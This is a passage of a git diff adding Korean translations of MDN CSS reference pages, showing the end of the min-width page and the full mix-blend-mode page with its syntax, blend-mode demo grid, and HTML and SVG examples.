+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Adds the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, and <code>fill-available</code> keywords. (Both CSS3 Box and CSS3 Writing Modes drafts used to define these keywords, but are superseded by this spec.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Adds the <code>auto</code> keyword and uses it as the initial value.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>min-width</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.min-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델 입문</a>, {{cssxref("box-sizing")}}</li>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("max-width") }}</li>
+</ul>
diff --git a/files/ko/web/css/mix-blend-mode/index.html b/files/ko/web/css/mix-blend-mode/index.html
new file mode 100644
index 0000000000..069bb0122f
--- /dev/null
+++ b/files/ko/web/css/mix-blend-mode/index.html
@@ -0,0 +1,651 @@
+---
+title: mix-blend-mode
+slug: Web/CSS/mix-blend-mode
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/mix-blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>mix-blend-mode</code> </strong><a href="/ko/docs/Web/API/CSS">CSS</a> 속성은 어느 요소의 콘텐츠가 자신의 배경 및 부모와 어떻게 혼합되어야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* 전역 값 */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;blend-mode&gt;")}}</dt>
+ <dd>적용할 혼합 모드.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<div class="hidden" id="mix-blend-mode">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;Blending in isolation (no blending with the background)&lt;/div&gt;
+    &lt;div class="row isolate"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;defs&gt;
+                &lt;linearGradient id="red"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(0,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(0,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="green"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(120,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(120,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+                &lt;linearGradient id="blue"&gt;
+                  &lt;stop offset="0"    stop-color="hsl(240,100%,50%)" /&gt;
+                  &lt;stop offset="100%" stop-color="hsl(240,0%,100%)" /&gt;
+                &lt;/linearGradient&gt;
+              &lt;/defs&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;Blending globally (blend with the background)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; normal
+        &lt;div class="container normal"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; multiply
+        &lt;div class="container multiply"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; darken
+        &lt;div class="container darken"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; screen
+        &lt;div class="container screen"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  height: auto;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+  height: auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  position: relative;
+  background: linear-gradient(to right, #000 0%, transparent 50%, #FFF 100%),
+              linear-gradient(to bottom, #FF0 0%, #F0F 50%, #0FF 100%);
+  width: 150px;
+  height: 150px;
+  margin: 0 auto;
+}
+
+.R {
+  transform-origin: center;
+  transform: rotate(-30deg);
+  fill: url(#red);
+}
+
+.G {
+  transform-origin: center;
+  transform: rotate(90deg);
+  fill: url(#green);
+}
+
+.B {
+  transform-origin: center;
+  transform: rotate(210deg);
+  fill: url(#blue);
+}
+
+.isolate .group { isolation: isolate; }
+
+.normal .item      { mix-blend-mode: normal; }
+.multiply .item    { mix-blend-mode: multiply; }
+.screen .item      { mix-blend-mode: screen; }
+.overlay .item     { mix-blend-mode: overlay; }
+.darken .item      { mix-blend-mode: darken; }
+.lighten .item     { mix-blend-mode: lighten; }
+.color-dodge .item { mix-blend-mode: color-dodge; }
+.color-burn .item  { mix-blend-mode: color-burn; }
+.hard-light .item  { mix-blend-mode: hard-light; }
+.soft-light .item  { mix-blend-mode: soft-light; }
+.difference .item  { mix-blend-mode: difference; }
+.exclusion .item   { mix-blend-mode: exclusion; }
+.hue .item         { mix-blend-mode: hue; }
+.saturation .item  { mix-blend-mode: saturation; }
+.color .item       { mix-blend-mode: color; }
+.luminosity .item  { mix-blend-mode: luminosity; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}</div>
+
+<h3 id="HTML_예제">HTML 예제</h3>
+
+<pre class="brush: html">&lt;div class="isolate"&gt;
+  &lt;div class="circle circle-1"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-2"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">.circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Without isolation, the background color will be taken into account */
+  position: relative;
+}</pre>
+
+<p>{{EmbedLiveSample("HTML_예제", "100%", "180")}}</p>
+
+<h3 id="SVG_예제">SVG 예제</h3>
+
+<p>다음은 이전의 예제를 SVG로 구현한 것입니다.</p>
+
+<pre class="brush: html">&lt;svg&gt;
+  &lt;g class="isolate"&gt;
+    &lt;circle cx="40" cy="40" r="40" fill="red"/&gt;
+    &lt;circle cx="80" cy="40" r="40" fill="lightgreen"/&gt;
+    &lt;circle cx="60" cy="80" r="40" fill="blue"/&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush:css">circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Without isolation, the background color will be taken into account */
+</pre>
+
+<p>{{EmbedLiveSample("SVG_예제", "100%", "180")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/ko/web/css/number/index.html b/files/ko/web/css/number/index.html
new file mode 100644
